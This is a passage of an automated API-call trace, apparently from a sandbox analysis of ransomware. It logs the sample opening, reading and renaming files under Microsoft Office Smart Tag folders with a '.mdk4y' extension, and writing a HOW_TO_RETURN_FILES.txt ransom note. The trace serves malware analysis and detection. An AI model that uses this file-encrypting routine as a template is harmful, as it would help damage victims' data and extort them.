dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818819300000) returned 1 [0112.963] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e380, lpOverlapped=0x0) returned 1 [0113.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818824600000) returned 1 [0113.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818824600000) returned 1 [0113.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.mdk4y")) returned 1 [0113.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.018] AreFileApisANSI () returned 1 [0113.018] GetACP () returned 0x4e4 [0113.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FDATE.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FDATE.DLLLL", lpUsedDefaultChar=0x37df4c) returned 9 [0113.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818824800000) returned 1 [0113.018] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17f80, lpOverlapped=0x0) returned 1 [0113.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818831000000) returned 1 [0113.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818831000000) returned 1 [0113.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.mdk4y")) returned 1 [0113.082] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.082] AreFileApisANSI () returned 1 [0113.082] GetACP () returned 0x4e4 [0113.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FPERSON.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FPERSON.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0113.082] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818831300000) returned 1 [0113.083] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35380, lpOverlapped=0x0) returned 1 [0113.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818839500000) returned 1 [0113.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818839500000) returned 1 [0113.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.mdk4y")) returned 1 [0113.168] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.168] AreFileApisANSI () returned 1 [0113.168] GetACP () returned 0x4e4 [0113.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FPLACE.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FPLACE.DLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0113.168] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818839900000) returned 1 [0113.169] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c380, lpOverlapped=0x0) returned 1 [0113.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818845500000) returned 1 [0113.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818845500000) returned 1 [0113.226] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.mdk4y")) returned 1 [0113.227] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.227] AreFileApisANSI () returned 1 [0113.227] GetACP () returned 0x4e4 [0113.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FSTOCK.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FSTOCK.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0113.227] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818845800000) returned 1 [0113.228] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26d80, lpOverlapped=0x0) returned 1 [0113.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818852200000) returned 1 [0113.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818852200000) returned 1 [0113.294] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.mdk4y")) returned 1 [0113.295] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.295] AreFileApisANSI () returned 1 [0113.295] GetACP () returned 0x4e4 [0113.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IETAG.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IETAG.DLLL", lpUsedDefaultChar=0x37df4c) returned 9 [0113.295] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818852600000) returned 1 [0113.296] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39580, lpOverlapped=0x0) returned 1 [0113.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818860800000) returned 1 [0113.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818860800000) returned 1 [0113.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.mdk4y")) returned 1 [0113.381] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.381] AreFileApisANSI () returned 1 [0113.381] GetACP () returned 0x4e4 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMCONTACT.DLL", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IMCONTACT.DLLrosoft Shared\\PROOF\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 13 [0113.381] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818862000000) returned 1 [0113.390] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18b80, lpOverlapped=0x0) returned 1 [0113.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818863800000) returned 1 [0113.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818863800000) returned 1 [0113.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.mdk4y")) returned 1 [0113.414] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.414] AreFileApisANSI () returned 1 [0113.414] GetACP () returned 0x4e4 [0113.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LISTS", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LISTSTACT.DLL", lpUsedDefaultChar=0x37df4c) returned 5 [0113.415] AreFileApisANSI () returned 1 [0113.415] GetACP () returned 0x4e4 [0113.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\瞈青瞣") returned 63 [0113.415] AreFileApisANSI () returned 1 [0113.415] GetACP () returned 0x4e4 [0113.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0113.415] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0113.415] AreFileApisANSI () returned 1 [0113.415] GetACP () returned 0x4e4 [0113.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0113.416] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0113.416] AreFileApisANSI () returned 1 [0113.416] GetACP () returned 0x4e4 [0113.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1033i", lpUsedDefaultChar=0x37dec0) returned 4 [0113.416] AreFileApisANSI () returned 1 [0113.416] GetACP () returned 0x4e4 [0113.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=68, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\@") returned 68 [0113.416] AreFileApisANSI () returned 1 [0113.416] GetACP () returned 0x4e4 [0113.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".xxCD", lpUsedDefaultChar=0x37de34) returned 1 [0113.416] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0113.416] AreFileApisANSI () returned 1 [0113.416] GetACP () returned 0x4e4 [0113.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..xCD", lpUsedDefaultChar=0x37de34) returned 2 [0113.416] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0113.416] AreFileApisANSI () returned 1 [0113.416] GetACP () returned 0x4e4 [0113.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DATES.XML", cchWideChar=9, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="DATES.XML\x97", lpUsedDefaultChar=0x37de34) returned 9 [0113.416] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0113.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818864700000) returned 1 [0113.417] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x22d6, lpOverlapped=0x0) returned 1 [0113.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818868600000) returned 1 [0113.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818868600000) returned 1 [0113.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.mdk4y")) returned 1 [0113.457] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0113.457] AreFileApisANSI () returned 1 [0113.457] GetACP () returned 0x4e4 [0113.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PHONE.XML", cchWideChar=9, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PHONE.XML", lpUsedDefaultChar=0x37de34) returned 9 [0113.457] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0113.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818868700000) returned 1 [0113.458] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x734, lpOverlapped=0x0) returned 1 [0113.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818893900000) returned 1 [0113.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818893900000) returned 1 [0113.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.mdk4y")) returned 1 [0113.712] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0113.712] AreFileApisANSI () returned 1 [0113.712] GetACP () returned 0x4e4 [0113.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STOCKS.DAT", cchWideChar=10, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="STOCKS.DAT", lpUsedDefaultChar=0x37de34) returned 10 [0113.712] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0113.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818894200000) returned 1 [0113.712] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x9869, lpOverlapped=0x0) returned 1 [0113.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818902900000) returned 1 [0113.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818902900000) returned 1 [0113.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.mdk4y")) returned 1 [0113.800] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0113.800] AreFileApisANSI () returned 1 [0113.800] GetACP () returned 0x4e4 [0113.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STOCKS.XML", cchWideChar=10, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="STOCKS.XML", lpUsedDefaultChar=0x37de34) returned 10 [0113.800] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0113.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818903100000) returned 1 [0113.801] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xa7f, lpOverlapped=0x0) returned 1 [0113.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818904500000) returned 1 [0113.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818904500000) returned 1 [0113.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.mdk4y")) returned 1 [0113.816] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0113.816] AreFileApisANSI () returned 1 [0113.816] GetACP () returned 0x4e4 [0113.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TIME.XML", cchWideChar=8, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="TIME.XMLML", lpUsedDefaultChar=0x37de34) returned 8 [0113.816] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0113.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818904900000) returned 1 [0113.819] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x2174, lpOverlapped=0x0) returned 1 [0113.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818915500000) returned 1 [0113.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818915500000) returned 1 [0113.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.mdk4y")) returned 1 [0113.926] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0113.927] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0113.927] AreFileApisANSI () returned 1 [0113.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0113.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0113.935] GetFileType (hFile=0x13c) returned 0x1 [0113.936] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0113.936] AreFileApisANSI () returned 1 [0113.936] GetACP () returned 0x4e4 [0113.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BASMLA.XSL", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 